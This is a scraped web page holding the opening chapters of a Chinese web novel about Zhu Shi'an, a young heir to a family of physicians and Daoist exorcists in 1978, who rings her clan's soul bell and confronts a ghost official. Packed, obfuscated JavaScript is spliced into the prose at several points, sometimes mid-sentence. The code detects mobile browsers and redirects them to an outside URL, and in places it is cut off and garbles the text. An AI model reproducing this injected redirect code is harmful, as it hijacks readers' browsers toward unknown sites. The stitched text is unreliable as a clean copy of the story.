《七零道医摆烂日常》 1. 第 1 章 1978年,立春。 蜿蜒的春江从远处的群山中奔腾而来,澄澈透绿的江水穿过峡谷,越过巨石,直至奔涌到地势平缓的镇山县,才缓步从容起来。 细雨微斜,虽说今日立春,到底还在冬日里,湿冷的天气冷得人伸不开手。县城老街上零星几个戴着斗笠,披着蓑衣的行人,个个都弯腰曲背,双手揣在怀里,脚步匆忙,像个移动的稻草垛子,转眼消失在水雾沉沉的街角。 这一幕落在祝十安眼里,只觉得千年光阴正如弹指一挥间,闭塞的山里小民似乎还是过着千年前的日子,没多大改变。 “嘿!好肥的鱼啊!” “真有劲儿!” 祝十安看过去,七八斤重的草鱼一个蹦跶,滑溜溜的,差点从装鱼的水桶里跳江里去,被卖鱼的人一把捏住腮,穿根草绳绑住。 镇山县旁边就是春江,吃鱼比城里方便,年节上,县城附近生产队都会成群结队地捞鱼来县城卖,年底分钱时,村里各家也好增加点收入。 这都是默许的惯例了。 还有两日就是除夕了,城外卖鱼的又划着船来了。 木架子搭在江边码头前,为了给年夜饭桌上添道菜,买鱼的人也不怕冷,冒着冷雨冷风在码头这儿排成一条长龙。 祝十安跟着凤孃来买鱼,她打着伞遮着两个人,抬头望一眼远处西边隐约不可见的大山,随口问一句:“凤孃,那座山叫什么名儿?听说山上有座庙?” 卖鱼人身上被冷雨淋得半湿,露出的手冻得通红,从木桶里捞鱼时控制不住微微颤抖,不等凤孃搭话,他一边给人称鱼一边笑着说:“不是咱们本地人吧,望云山上的望云寺,民国时就建起了来,本地人谁不知道?” 排在队伍后头的人一个劲儿伸长脖子往前头瞅,有人顺着渔夫的话喊一声:“咱们本地人该先买,外地人后面排队去。” 凤孃眼一横,声量一下拔高了,操着一口乡话道:“怎么不是本地人了,谁敢说我家孩子不是本地人?” “你说你是哪街哪户的?我就在街道办工作,整天走街串巷的,怎么没见过你们?”一个穿半旧蓝色干部装的妇女怀疑地看着两人。 十二月高考完了之后,县里不少下乡的年轻人回来过年了。那些没考上学的,不符合回来政策的知青们,年后都要回去继续支援农村建设。 生怕这些知青回来后赖着不走,街道办的工作人员对这些天回来的年轻人都盯得紧,这可是街道办年后的棘手工作。 见祝十安的年纪又面生,看着像刚从乡下回来的模样,女干部立刻就上了心,走到跟前盘问。 凤孃高声道:“说了我们是本地人,你们还不信,你们去打听打听,我叫祝凤琴,娘家就在江对岸。” 凤孃利索给了钱,拎起串鱼的草绳,拉着祝十安就要家去。 “不忙走,这个大姑娘到底哪家的人?必须说清楚。”那妇女干部拉着祝凤琴的手不让走。 “三清巷,祝家。” “什么家?”没听清。 祝十安笑盈盈地又说了一遍:“县城东北角的三清巷,祝氏医馆,唔,医馆十年前就关门了,不过地方还在,我是祝家人,名叫祝十安。” 凤孃瞪了那个女干部一眼,拉着祝十安走得飞快,边走边说祝十安:“你一个小姑娘跟一个外人说什么名儿,没得叫人笑话。” “凤孃,都什么年代了,还怕名字给外人叫?你这是老古董啦。” 凤孃还是不满:“这里的人太没规矩了,你在乡下时大家都不叫你的名儿,都叫你大姑娘呢。” 祝凤琴也不是老古董,也不是怕家里姑娘的名字让外人知道不体面,主要是祝十安小时候身体不好,怕养不住,叫小鬼惦记,所以打小就忌讳外人叫祝十安大名儿。 祝十安现在长大了,长得比祝凤琴还高,但她身上不长肉,看着竹竿儿一般,祝凤琴心里怕她不康健,还是跟以前一样守着忌讳,不喜欢别人叫她名字。 “凤孃,过完年我就十八了。” “别说还没十八,就是八十了,也不能叫外人瞎叫你的名字。”说完,祝凤琴想了想:“今年还是不过生日?” “嗯,不过。” 日子都不准,没什么好过的。再说,祝家这样祖上有家传的人家,具体的出生时辰都不会主动往外说,生日更是不会大肆庆祝。 三清巷祝家啊! 街道办的妇女干部心里一颤,祝家后人回来了。 两人一离开,一群冻得嘴都不想张的人立刻就来了交流的欲望,热切地交流起来。 三清巷要热闹了哦。 从镇山县有县志记载开始,祝家在县志上就有名号了。 听老人说,镇山县东北角靠着云台山,那地方不靠江也不当道,偏僻得很,祝家老祖宗却看上了那块地,买下来建了宅子。 宅子建成前铺后院,祝家人渐渐做起了医药生意,开药铺,买卖药材……祝家人一代代传下来到如今,不说代代大富大贵,祝家那也是县里有名的殷实人家,谁不知道? “祝家以前是咱们镇山县的大户啊,祝家鼎盛的时候,来咱们县当官儿的县令老爷,逢年过节都要给祝家送礼,拜码头。” “祝家有家传医术,祖祖辈辈经营的人脉多,一个外来的县令算什么,就算是强龙也压不过地头蛇。” “再厉害也都过去了,祝家跟咱们都一样,屁都不是。”年轻人不屑道。 “那还是不一样。” “怎么不一样了?” “就是现在落魄了,人家祝家宅子多到住不完,跟你家一样?” 有人羡慕道:“三清巷好啊,大大小小二十多套宅子啊,都是祝家的。” 有认识祝家老爷子的人叹息:“以前祝福如老爷子还在的时候,有个头疼脑热的时候我还经常去三清巷。祝家老爷子儿子儿媳没了后,医馆不开了,咱们去三清巷的时候就少了。” “听说祝福如老爷子前些年没了,葬在祝家村的后山上,祝家在三清巷的宅子也没人去住,我还以为祝家这一支绝后了,没想到还有后人回来。” “绝后是怎么说的,祝家村那边一两百户祝家人呢。” “那些是祝家旁支,继承不了祝福如老爷子这一支的本事。”有人隐晦说道。 那年轻人不爱听这些讲古的废话,一听祝家宅子多到住不完,急忙问:“这话怎么说的,三清巷有空房子?” “有啊。”有知道祝家底细的人道:“抗战的时候祝家许多后生出去打仗没回来,死在外面了,家里老人没人照料,就被祝家村族里接回祝家村养老了,三清巷的宅子空出来大半。” “可不是么,都是祝家祖上传下来的好宅子,锁门闭户空着,可惜了。”有人附和道。 有那脑子灵活的连忙追问:“家家户户的房子都不够住,十多年前就有空屋出租的政策了,祝家的宅子空着竟没人管?没人问?没人举报?” 一个头发花白的老太太冷笑:“呵!那是祝家的宅子,人家不乐意,你敢进去住?怕是晚上住进去,隔天就要装棺材里抬出来。” “这又从何说起?” 老太太一听口音就知道打听祝家宅子的这两个人是外地来的,也不跟他们多说,买了鱼就走了。 “哎,大娘别走,咱们再聊聊。” 那老太太走了,还在排队买鱼的人也不跟他们搭话,一个个紧闭嘴巴,生怕嘴里的热气儿跑了似的。 没人搭理他们,两个年轻人就去跟街道办那个女干部打听,问祝家房子的事儿,又说自己是哪个单位的云云,那街道办的女干部也不答话。 三清巷不是寻常地方呢。 十年前闹得最凶的时候,疯了死了好几个人,偏偏查不出一点毛病,闹了那一场之后,谁还敢去抢夺祝家的宅子? 街道办消息灵通,这个女干部虽然来镇山县没几年,但是祝家的事她还是知道一些。 聪明人呐,不该说的话一个字都不会乱说。 船上的鱼卖完了,买鱼的人都散了,几个卖鱼的也撑船家去了。 “十年过去了,新来的人不知道三清巷祝家的厉害,怕是要撞鬼哦。” “哈哈哈,别碰到水鬼就成,这大冷天的掉江里被水鬼扯下去,也太惨了。” “费什么话,大过年的说话也不怕犯忌讳。这鬼天气冷死个人,还不赶紧撑船家去!” 渔船上,带头出来卖鱼的大队长劈头盖脸地一顿骂,嘻嘻哈哈的年轻人不敢再闲话。 “王叔,别往心里去。”大队长扭头对王富贵说。 一张老脸冻得通红,王富贵不怕冷,就着刺骨的江水洗手,叹息:“都过去了,这么多年了,我家二柱说不得都去投胎了哦。” 刚才嘻嘻哈哈的年轻人顿时脸色一白,知道自己说错话了,想往回找补又不知道该说点什么,憋了半天,才挤出一句:“二柱哥肯定会投胎到好人家。” 王富贵望着东流的春江水哦,多年前也是这样一个寒冷的冬天,他的小儿子的命被寒冷的江水带走了。 老话讲,他们这些人靠着春江活命,一个不小心,让他们活命的江水也会要了他们的命。 寿数自有天定,他们这些泥腿子还能跟老天斗? 瞧瞧世代跟鬼神打交道的祝家人,寿数到了,该死还得死。 渔船停到村口码头,大家都迅速散了回家暖和暖和,王富贵也低着头要走时,被大队长叫住。 “王叔,祝家人回来了,你心里要是有什么放不下,去祝家求一求,看看有没有什么说法。” 王富贵摇头:“不提了,免得家里人都不安稳。” 当年,大孙子调皮在江边玩不小心落水,二柱跳入江中把大孙子救起来,自己却没爬上岸,等跟大孙子一块儿玩的其他家孩子跑回村里哭着喊救命,早就迟了,人都不知道被冲到哪儿去了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401577|200418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “大山心里也惦记着?” 王富贵点点头,一直惦记着呢。 二柱是为了救大孙子死的,大山这个当爹的,怎么放得下刚二十就没了命的弟弟?那几年风气那么严,大山都不忘躲着人,夜里去江边给二柱烧纸。 大队长打量四周,瞧着江边只有他们两人,再没有其他人了,大队长才小声问:“王叔,不是我故意找事儿,自你家二柱去了后,每年咱们大队打鱼去县里卖,谁也比不过你,这个中间指定有什么说法吧。” 王富贵脸色顿时难看起来,忍不住打量四周,生怕这话叫其他人听见。 大队长安慰似地拍拍王富贵肩膀:“光绪年往前数,那时候咱们县里的县太爷,哪个不祭江?就是现在咱们嘴上不说,大家心里面都有数。靠水吃水,心里怎么会没个敬畏?” 王富贵不吭声。 “王叔,我们不像祝家大队都是同姓,咱们祖辈都是认识的,交情也算不浅,咱们不是外人,我总不会为了这种事儿害你。” “那你什么意思?” 大队长指着江边:“往年,就算是冬日里,洗菜洗东西的人,没事儿扯闲篇的妇女都能站一排,最近怎么没见着人了?” “天冷又下雨,江边这么冷,谁来?”王富贵装听不懂。 “王叔,这样说就没意思了。大家体谅你,你也要体谅体谅大家不是?”大队长不妨把话说得再明白些:“你劝劝二柱,别拖人下水害人性命,再闹,人家就要上望云山请和尚来了。” 卖鱼挣的钱全大队都有的分,大家都得了好,不到万不得已,也不想闹到无法收场的地步。 唉。 大队长走了,王富贵独自望着流淌的春江水出神,在冷风中站了许久,才慢慢家去。 从古至今,镇山县这个地方是有些说法的。 西南这片地方多山多水,江流从峡谷中来,两岸青山相对,是非常常见的地域特征。 镇山县除了这些明显的地域特征外,县城外的望云山和云台山中间位置对应奇门遁甲中的坤卦,也就是死门,加上地形四面全阴,山谷中形成了荡风过穴煞,是个天然的养尸宝地。 都说祝家祖祖辈辈在镇山县繁衍生息,祝家的家谱跟镇山县的县志一样久远。实则,这个地方的第一批住户不是祝家人,也不是逃荒至此的流民,而是给主人家守墓的守墓人。 后来,如果不是云台观的掌门,也就是祝十安的师傅李清风路过此地,破了死煞,让寻常百姓敢踏足此地,这个地方也不会变成如今这样子。 不过死煞可以破,天然的风水格局却没那么容易改,留下的后遗症就是这个地方比其他地方更容易出现鬼魂滞留的情况。像王二柱这样留恋人间不肯走的鬼魂,以前也有过。 好在以前有祝家,后来祝家后人平庸了还有望云寺镇着,多少年了没出过什么大事,住在此地的百姓也习惯了。 望云寺在本地人心里的地位高着呢,破四旧的时候县里闹麻了,到处打砸,大人也会管着家里的半大小子,不许他们上望云寺胡闹。 一地有一地的风俗,那些喊口号的在城里管用,在自有’民俗在此’的偏远小地方,那就是时灵时不灵。 俗话说,好话难劝该死的鬼,也有实在不听劝的,都没到冲上望云山那一步,在三清巷就被撂倒了。 王富贵家去跟媳妇儿商量,打定了主意,年后托人去三清巷祝家问问,能不能把他家二柱好好送走。 下了一上午的冷雨停了。 半下午,风吹散了云雾,远处的望云山露出了完整的样子,祝十安跟族里的几个女人坐一块儿烤火。 祝十安问:“望云山上的和尚挺厉害的?” 以前在祝福如手下学医,当过学徒的祝长芳抱着怀里的小女儿,虽然不愿意说别家的好,还是不情不愿道:“明觉大师挺厉害,在那方面跟你爷爷差不多。” “谁说的?” “老爷子亲口说的,老爷子当年说,要不是有名觉大师镇着,他也不好带你出去躲灾。” 祝十安一下笑了,跟她爷爷水平相当啊。 老爷子有多少能耐她知道。 这么说来,还是她厉害些。 祝十安在打听望云寺的底细,望云寺里的小和尚也在议论她,议论她这个祝家这一代唯一的玄门传人,究竟有几分成色。 “家传到底窄了些,一两代人没出色的后人,家传就断了。祝家好歹传了几十代人,战火那么难都过来了,可惜了。” “哎呀,这话说早了,过两日再看吧。” 到现在为此,祝家历代还算传承有序,祝家的规矩,每一代家主继承祝家时,第一年新旧之交时,都要敲响镇魂钟,以示震慑八方之意。 镇魂钟是祝家老祖宗传下来的一件法器,后代子孙天分越高,镇魂钟就越响。没有天分的,怎么敲钟都不会响。 还有两日就是除夕了。 2. 第 2 章 除夕怎么过不用祝十安操心,族里和凤孃已经安排好了,她按规矩行事就成了。 今天祝十安要做的事就是在家待着,见一见族人。 今日见的是住在三清巷的祝家人,一共十来户人家,这些人家的人都是在县里有工作的,邮电局、供销社、国营饭店、食品站、县医院、县医药公司。 医药是祝家的看家本事,在县医院和县医药公司的祝家人是最多的,从这些人的谈话中,祝十安知道,现在祝家医术最厉害的是祝长明,她爷爷的弟子。 按照族里的辈分算,祝长明跟祝十安是同辈。 祝长明今日在家休息,特意过来见祝十安,他笑着说:“你是三清巷祝家这一支的继承人,以后我还要在你手下干活,咱们就按照同辈论吧,我称你家主。” 凤孃赶紧说:“大姑娘的医术都是老爷子教的,也是关门老爷子的弟子。就是从你师傅祝老爷子那儿算,你跟咱们家大姑娘也是同辈。” 祝长芳笑着道:“之前就听说咱们大姑娘在乡下当赤脚大夫,我们还说呢,大姑娘有咱们祝家人的根,老爷子又会教,医术一点就通。” 凤孃骄傲得很:“大姑娘自然什么都好。” 外人不知道,只有祝家人自己知道,前些年老爷子去世的时候,祝家内部闹了一场,祝十安铁了心要给那些生了外心的族人一个教训,设了法阵把人关在百鬼阵里一夜,差点没闹出人命。 最后还是族老求情,饶他们一命,但是那几家不能再住在祝家村。 那次之后,祝家人知道祝十安承了祝家的玄门本事,有这个本事在,祝十安会不会医术倒不重要,祝家又不缺大夫。 玄门秘术才是祝家最大的底气,只要祝十安有本事承了她爷爷的衣钵就成。 祝长明说:“可惜了,咱们祝家的医馆不知道什么时候才能再开起来。” 在座的祝家众人也觉得可惜。 祝长芳拍着怀里的女儿,轻轻晃着哄睡:“说起来,学医的哪里找不到一口饭吃?就是外头的饭再香,到底不如自家锅里的好。” 祝十安回头看了一眼挂在堂屋中间祝氏医馆的牌匾,回头跟众人道:“等等嘛,高考都恢复了,以后各行各业会慢慢变好。” 祝长明道:“若是可以开医馆了,我就把县医院的工作辞了,回咱们医馆坐堂。” 祝十安看了一眼祝长明的老婆张惠,笑着说:“说这个还太早,慢慢考虑吧。” 祝长明脸型方正,印堂开阔,眉骨藏锋,气韵清正,一看就知道是个忠诚有责任感之人。 他老婆张惠的面相嘛—— 屋里众人的光都随着祝十安看向张惠。 张惠忙说:“长明的医术是老爷子教出来的,族里也没少培养,他为家里多做点事都是应当应分的,我肯定没意见。” 祝十安含笑点头:“一码归一码,若是有医馆重开那日,肯定不会让你们家吃亏。” 凤孃提起新话头:“咱们大队上有知青吧?今年安安才回来,肯定要祭祖,好遮掩不?” “不妨事,大队上的知青有两个考上中专回城了,没考上的也给他们放假了,都家去过年了。” “对对对,没有外人,里外都是咱们一家人。” “那就好。” 大家热热闹闹说起祝家族里考上学的那几户人家,族老说今年祭祖让那几家孩子站祝十安后面呢。 张惠陪笑着点头,悬着的心总算放下了。 这位祝大姑娘啊,年纪不大,爱笑爱说话,看着就是个寻常姑娘,刚才祝大姑娘看她那眼之前她一直是这样想的。 祝大姑娘看她一眼,那种魂都被看透的感觉让她害怕,那点小心思张惠再不敢提了。 “大姑娘,长丰哥来了。” 有人在院子里喊了声,祝十安就看到祝长丰大步进来了。 祝长丰是祝家村年轻一代的领头人。 祝家上一代的领头人祝福江没选他的儿子为下一代的领头人,而是选了跟他隔了两房的祝长丰,这人肯定有过人之处。 祝长丰:“族老交代,后日除夕晚上子夜之交时您要敲响镇魂钟。今日一早我带人上山把云台观清扫了一遍,您要提前上山住着等除夕也方便。” “张道长在观里?”祝十安问。 云台观是祝家的家观,祝家入道的人少,没空管理道观,从不知道多少年前开始,一直都请外头修道有成的道长管着。 张玄清八十岁了,是祝十安爷爷从外头请来的道长,修的是正一道。他常年住在云台观不出门,只上个月出门访友去了,说是年前回来。 祝长丰点点头:“回来了,还带回来一个八岁的小子叫张节,张道长说,张节是个能敲钟的。” 敲钟两个字让所有人都竖起了耳朵,祝家现在,能敲钟的只有祝十安一个呢。 祝十安期待:“有天分?” “张道长说比他有天分。” “人留下了,算咱们家的,还是算他的弟子?” 祝长丰语气自然:“在咱们祝家的家观里养着,自然算咱们家的人了。” 祝十安笑眯眯道:“不错,你安排一下,后天一早我上山。” “是。” 祝十安除夕当天早上上山,没有等到晚上才去,对张道长嘴里的那位能敲钟的小子态度不能算积极,但也有点小期待吧。 中午的时候,祝十安见到那个张节的孩子,长得钟灵毓秀,就是胆子小了点,一直躲在张玄清身后。 祝十安撇嘴:“你给他取的名字?” “不能是他自己的名字?” “啧,哪有那么巧,你姓张他就姓张?” “张是大姓,天下姓张的人多了去了。” “张道长,你不诚心哦,打了主意送给我当徒弟,就别这么小家子气嘛,跟我姓祝又如何?” 张玄清冷哼一声:“老道没骗你,他爹不姓张,但是他娘姓张,不是跟我姓。” 祝十安打量张节的面相,片刻后说:“六亲断绝,神光内敛,修道是最适合他的路子。” 如果他真有天赋的话。 张玄清的下巴一下翘起来:“横,老道我相面的本事比你爷爷还强几分,不会看错人。” 张玄清也就是相面有点本事了,其他的他都不太行,要不也不会把这孩子送到祝十安面前来。 祝家在玄学一道没落不是因为祝家的家传不好,而是因为子孙资质有限。张玄清见过祝十安收拾人,知道她的厉害。 祝家的家传可是太一道,虽然后继无力归于正一道,但人家到底是走符箓派的路子。 符箓派跟其他突出功法、养生、炼丹的道门比起来,有一点很突出,那就是出了名的能打。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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远处的望云山上,低头诵经的明觉大师微微抬起头,耳朵微动:“可听到什么声响?” 众弟子摇摇头。 名觉大师的弟子慧心突然想到祝家:“师傅——” 慧心话才说到一半,突然嗡的一声,钟声似近又远,似远又近,在耳边又在天边,似乎是错觉,却又在脑子里炸响。 “嗡~” “嗡~” 又是接连两声,慧心感觉似有佛祖拿佛杵敲他脑袋,脑子里一片清明透亮。 明觉大师睁眼笑:“阿弥陀佛,祝家有后了,还是个天资卓越之辈,玄门有喜。” 镇魂钟是件法器,钟声在修道之人和普通人听来完全不一样。 祝十安敲完钟扭头看张玄清,双手叉腰:“听清楚分别了吗?什么叫天资卓绝?” 张玄清嘛,好久憋出来一句话:“真响!” 祝十安扶额,算了,算了。 玄门没落了。 观礼的祝家族人们此时眉梢眼角都是笑,心里想的也是真响啊,真响! 有了支撑家业的家主,祝家未来,必将声名远扬! 3. 第 3 章 往年除夕,望云寺的和尚都会诵经、敲钟祈福,今年云台观敲了钟,迟了一步的小和尚不知道自己该不该跟着继续敲。 “主持吩咐,不要敲钟了。” “是。” 慧心亲自出来吩咐完,再回大殿里,跪在师傅身后闭眼诵经。 为了躲灾在望云寺挂单的外来和尚见状,佩服明觉大师的宽厚,竟然为了一个没落的玄门后人让路。 明觉大师不愧是德高望重的玄门前辈啊。 望云寺在西,云台观在东,今年除夕望云寺的钟声没响,多年沉积的云台观钟声居然响了。山下的居民们,年轻人们不懂,年长的老人们心里都是有数的。 三清巷祝家有后了。 此时的三清巷祝家人可高兴坏了,上不了山的老人们带头去门口放鞭炮,噼里啪啦的声响连成片,动静大得很。 除夕过年嘛,各家有闲钱的都会买串鞭炮点了求个吉利,就是那几年也没人会在这个时候抓人小辫子的。 今年新年新气象,县里点鞭炮的人家更多了,就是再多,也没有三清巷炸得响,炸得久。 住在临近街道的孩子都羡慕呢,炸这么久,祝家的孩子能捡多少炮仗啊。 云台观里。 祝长丰竖起耳朵等了许久,没听到西边望云寺有动静,祝长丰跟祝十安说:“明觉大师厚道,咱们祝家也不是不知礼的人家,明儿打发族里的小子去望云寺捐些米。” 祝十安问:“望云寺这些年靠山下捐的钱粮过日子?” “往前数几十年,望云寺的法事做的好,在咱们附近几个县很有名声,望云寺靠着这一项收入和平日里的香火钱过得不错。这些年的情况你也知道,望云寺的和尚也不下山了,山下的人怕平白摊上事儿,轻易不敢上山,寺里的香火收入几乎也没了。不过他们在山上开了地种粮食种菜,日子清贫也还过得去。” 祝福如还在的时候祝家跟明觉大师关系很不错,这些年祝家族老把这份关系维持下来了,祝长丰对望云寺的情况很了解。 祝福如去世前留了话,要祝十安必须躲灾躲够,祝福如去世后祝十安又还小,祝家主动和望云寺维持好关系既既是因为老关系在,二是因为祝家在玄门势弱,没有顶门立户的家主,不得不跟望云寺打好关系。 现在不同了! 镇魂钟响彻八方,祝家后继有人,祝家再往望云寺送礼,那是玄门内正常人情来往。 祝长丰忍不住笑,心安了,说话也大声起来:“这些年,咱们祝家比望云寺的和尚过得好。” 旁边的祝家族人笑着附和,他们祝家人住在山下,自然比望云寺的和尚过得好。 张玄清拉着张节挤开围着祝十安的祝家族人:“你给我个准话吧,这孩子你管不管?你不管我可收他当弟子了啊。” 张玄清故意激祝十安,祝长丰打量祝十安无所谓的脸色,笑着扶了张玄清一把:“张道长你别急,您在我们祝家的家观里修了这么多年的道,我们祝家为人如何您心里肯定清楚。这孩子既有修道的天分,那就在观里住着,您多教一教,等他年纪大了,咱们再说以后的事嘛。” “长丰这话说得对,张道长啊,你放心住。” “看这孩子瘦的,以后好好养着,观里肯定不缺他一口吃的。” 祝家族人七嘴八舌地帮腔,祝十安笑道:“我才多大点年纪?有天分不等于能修道,不等于会教徒弟,您说是不是?” 张玄清打量着祝十安,仔细想了一下,这话也在理,于是揭过不提了,等以后再说。 子时都过了,孩子困得不行,张玄清牵着孩子去屋里睡觉去。 不过,等张玄清送完孩子再出门,他立刻就后悔刚才的决定。 祖师爷啊,祝家这个小丫头怎么厉害成这样! 张玄清走后,祝十安身子一低,弯腰钻进半人高的镇魂钟里,取下挂在镇魂钟内小孩儿巴掌大的镇魂铃。 就着昏暗的烛火,祝十安嫌弃地撇嘴,灰也太厚了。 “上次镇魂铃被取出来还是一百年前呐!前面这一百年中家里没出什么人才,用不上镇魂铃,镇魂铃一直收在镇魂钟里,我们这些老东西都快忘了。”祝家族老们难掩唏嘘。 祝长丰这些年轻一辈的祝家子弟心里一想,一百年前,那不是清光绪年间的事了? 祝十安拍拍镇魂铃上积的灰:“你们离开这儿,去大殿内站着。” 祝家建的这座道观不是寻常道观,底下布置的阵法别说一般小鬼不敢近身,就是地府勾魂的鬼吏来了,也不敢造次,只能现身求见。 祝十安让祝家族人到大殿里去,她点燃一支香,青烟冲天而上,祝十安左手摇铃,右手凌空画符,灵气凝成的符箓在黑夜中微微散发着金光。 “北斗放光,追魂十方号令丰都,急急如律令!” 咒语一落,轻飘飘的青烟忽地如罗网一般在半空中撒开,淡而不散的烟气中那股如清露,如松风的味道侵入鼻尖。 祝十安深吸一口气,追魂香的味道,真是久违了。 “哎呀!祝天师啊,好多年不见,你记不记得我?” 祝十安想追的魂还没找到,一个手持丧棍的大头鬼从烟雾中跑来,苍白的鬼脸上挤着笑,一闪身到了祝十安面前,他身后的勾魂锁上牵着一串儿才勾来的新魂。 祝十安看到他,脑子里立刻就想到他是谁:“大头鬼,白有钱。你怎么在这儿?你上司白无常也来了?” “七爷不在,这片地界现在归老鬼我管。” 祝十安高看大头鬼一眼:“哟,白有钱,你现在厉害了哦,我是不是要喊你一声白爷了?” “哈哈哈,祝天师客气,你还是喊我白大头吧。” 祝十安认识白有钱的时候,他还是白无常屁股后头捧杀威棒的小鬼,没想到如今再见,都已经升官了。 虽说中间隔了一千多年,但是以地府一个萝卜一个坑的情况,白有钱升职也算快了。 祝十安眼睛扫过快燃到底的追魂香,笑着问他:“白爷,快说说,怎么升职的?” 白大头被祝十安一声白爷叫爽了,得意道:“还能怎么是升职的,自然是那回妖魔大战立了功劳,上面赏的。” 追魂香燃尽,红猩的火光熄灭,夜风吹落香灰。 祝十安顿时变脸,冷笑:“你一个小鬼都分到功劳了,我师门上下三百七十二名弟子为了捉拿为祸人间的妖魔,满门死绝又得到了什么?既没有转世为人,地府也寻不到踪迹,难道全部魂飞魄散了?” 白大头忙劝说:“那肯定不能,你们师门有大功德,这会儿还没转世投胎,估计是上面有其他安排,等时机到了自然就投胎转世了。你看看你,当初你伤的只剩下一点残魂了,如今也让你带着前世的记忆投胎了嘛。” “是投胎了,投胎回来我从吃奶就开始吃药,呆呆傻傻要死不活的活到十岁,脑子才慢慢清明。呵,我也就是投胎在祝家,要是出生在别的人家,这个饭都吃不饱的年月里,我不知道死多少回了。” “你只会投到祝家,祝家传下来这一支是你上辈子兄长的后人,最是爱扶贫济困,没道理外头人都管,不管自家后人。”白大头拍着胸口保证:“你的族人死了都是我送去地府的,你们家没几个败类,你放心。” 祝十安盯着白大头冷笑。 白大头捧着他的大头,苦着脸:“我只是个小啰啰,也只是听吩咐办事,祝天师就别为难小的了。” 祝十安双手抱胸,瞪着白大头:“总要给个说法吧。话说在前头,要是我不满意,回头我开鬼门闯地府去要说法。” 白大头无奈,往前两步,说:“七爷要小的转告您,世道不太平,凭你的本事以后有攒功德的时候,以后你捏着功德换好处,谁还不同意?” “呵!你们什么时候把欠我师门的债先还了在说吧。再说了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401579|200418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天下玄门不只我一家,你们紧盯着我做什么?” “乱了这么些年,原来数得上的那些门派传承都断了。加上千年前那场大战后天轨关闭,正经玄门修行困难,反倒是邪门歪道冒头的厉害。不是你,换成其他人也不放心呐。” “不关我事。” 见祝十安不答应,白大头压低声音,透出一点消息:“不是不想给你们好处,丰都那边的事说不清楚,您就等等吧。” “好呀,我是个小人物,胳膊拧不过大腿,你们说等就等吧。咱们一码归一码,什么时候清了账,咱们什么时候谈以后的事。” “你看看你,唉,你真是……” 祝十安不松口,时间不早了,大头鬼赶着回丰都,只能先走,走前劝祝十安:“你本来就是残魂投胎,不容易。今时不比当初,好好修行吧,等你以后有本事了,干什么都行,这会儿实力不济,就别用追魂香去地府搜魂了,怪得罪人的。” 祝十安以前帮过白有钱。 白有钱一颗大脑袋戴上帽子有肩宽,长得丑,人还油滑,但是他有一点好,记恩。 祝十安笑:“你说了那么多话,就这句话像是真心话。” 祝十安自从恢复前世的记忆后,跟千年前她带领师门弟子在妖魔大战中威震四方的时候相比,现在的她,根本比不上以前的她的一点皮毛,今日用追魂香找她师傅和师兄师姐们的鬼魂,就已经把她此前攒的这点灵气用尽。 实力不济啊。 祝十安跟他说笑,大头鬼一扭头看到大殿门口的祝家族人,忽然,他浑身碎成几块烂肉瘫地上,胸腔破了一个大洞,没有心。 祝十安大笑,踢了他一脚:“吓唬谁呢,你赶紧走吧。” 白有钱发出恐怖鬼笑。 一堆尸块儿一下组装成人形,拉着一串儿鬼魂离开。 “祝天师,再会!” 祝十安目送白有钱离开。 祝十安转身对祝长丰他们说:“没事儿了。” 祝十安跟鬼说话祝长丰他们一个字都听不清,这会儿听得见了,刚才差点吓破的胆子才好了。 “我的亲娘哎,那个大头鬼好吓人!” “那么大一颗脑袋上,眼睛小得跟绿豆一样,怎么长的。” “刚才你们看见没,大头鬼拉的那一群鬼魂里面有个鬼很眼熟?” “我看见了,隔壁大队的老会计,姓赵的。年前就听说他身体不好,咱们村里好几个大夫都去瞧过,都说没得救了,吃药也只是吊着命。没想到死在年三十。” 云台观有阵法在,鬼魂到门口都要现身,祝家一群不修道的人才看得见鬼魂,激动和惊吓后,全部都成了话痨,好像不停地说话才能缓解害怕的情绪。 祝家人们说得热闹时,张玄清一把年纪腿脚倒是好,快步跑到祝十安面前:“不成,我想了想,你还是现在收徒好,张节那孩子从今天开始就是你的关门大弟子。” 祝十安捂嘴打哈欠,敷衍道:“下回,咱们下回再说好不好。” 那当然不好,他亲眼见到祝十安的本事后,他认识的人里面不可能有比她厉害的,对面望云山上的老和尚也比不了。 张玄清一定要祝十安今天收徒,反应过来的祝家族人忙上前劝张玄清回去休息。 “您老一把年纪了就别熬着了,什么事儿不能以后说嘛。” “明儿一早我们要下山回去祭祖,可熬不得了,您去休息,我们也休息了。” “明儿见,明儿见。” 明儿是见不到了,若是没事儿,祝十安近期不会上山来了。 祝十安睡不着,盘腿坐在床上沉思,师门,祝家,现在的世道。 回想起刚才大头鬼好几次欲言又止的样子,中间究竟有什么她不知道的? 祝十安躺下,闭眼睡觉。 不管中间藏着什么秘密,她总会找出来,欠她和她师门的,都得还回来! 4. 第 4 章 大年初一。 天色才微亮,祝家族人已经收拾齐整准备下山了。 “大姑娘没在?” “在里面敬香,一会儿就出来了。” 祝家辈分最大的老姑奶奶没看到祝十安,拉着小辈问,小年轻给她指了指大殿的方向。 